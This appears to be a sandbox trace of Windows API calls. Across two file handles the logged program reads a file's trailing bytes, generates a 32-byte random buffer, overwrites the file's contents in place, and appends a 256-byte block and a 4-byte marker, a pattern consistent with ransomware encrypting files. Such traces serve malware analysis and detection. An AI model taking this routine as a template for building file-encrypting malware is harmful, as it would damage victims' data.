[0082.565] ReadFile (in: hFile=0x830, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.565] SetFilePointerEx (in: hFile=0x830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.565] GetProcessHeap () returned 0x540000 [0082.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.565] GetProcessHeap () returned 0x540000 [0082.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0082.565] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0082.566] GetProcessHeap () returned 0x540000 [0082.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.566] ReadFile (in: hFile=0x830, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0xc5b, lpOverlapped=0x0) returned 1 [0082.603] SetFilePointerEx (in: hFile=0x830, liDistanceToMove=0xfffff3a5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.603] WriteFile (in: hFile=0x830, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0xc5b, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0xc5b, lpOverlapped=0x0) returned 1 [0082.603] GetProcessHeap () returned 0x540000 [0082.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.603] GetProcessHeap () returned 0x540000 [0082.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.603] GetProcessHeap () returned 0x540000 [0082.603] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0082.603] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.604] GetProcessHeap () returned 0x540000 [0082.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.605] GetProcessHeap () returned 0x540000 [0082.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.605] GetProcessHeap () returned 0x540000 [0082.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.606] GetProcessHeap () returned 0x540000 [0082.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.606] GetProcessHeap () returned 0x540000 [0082.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.607] GetProcessHeap () returned 0x540000 [0082.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.608] GetProcessHeap () returned 0x540000 [0082.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0082.608] GetProcessHeap () returned 0x540000 [0082.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.608] GetProcessHeap () returned 0x540000 [0082.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.608] GetProcessHeap () returned 0x540000 [0082.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.608] GetProcessHeap () returned 0x540000 [0082.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.608] GetProcessHeap () returned 0x540000 [0082.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.608] SetFilePointerEx (in: hFile=0x830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.608] WriteFile (in: hFile=0x830, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.608] WriteFile (in: hFile=0x830, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.608] GetProcessHeap () returned 0x540000 [0082.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.608] GetProcessHeap () returned 0x540000 [0082.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.608] GetProcessHeap () returned 0x540000 [0082.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.608] CloseHandle (hObject=0x830) returned 1 [0082.610] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 46 [0082.610] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.610] ReadFile (in: hFile=0x834, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.610] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.610] GetProcessHeap () returned 0x540000 [0082.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.610] GetProcessHeap () returned 0x540000 [0082.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0082.610] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0082.610] GetProcessHeap () returned 0x540000 [0082.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.610] ReadFile (in: hFile=0x834, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0082.659] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.660] WriteFile (in: hFile=0x834, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.660] GetProcessHeap () returned 0x540000 [0082.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.660] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.661] GetProcessHeap () returned 0x540000 [0082.661] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.661] GetProcessHeap () returned 0x540000 [0082.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.662] GetProcessHeap () returned 0x540000 [0082.662] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.663] GetProcessHeap () returned 0x540000 [0082.663] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] 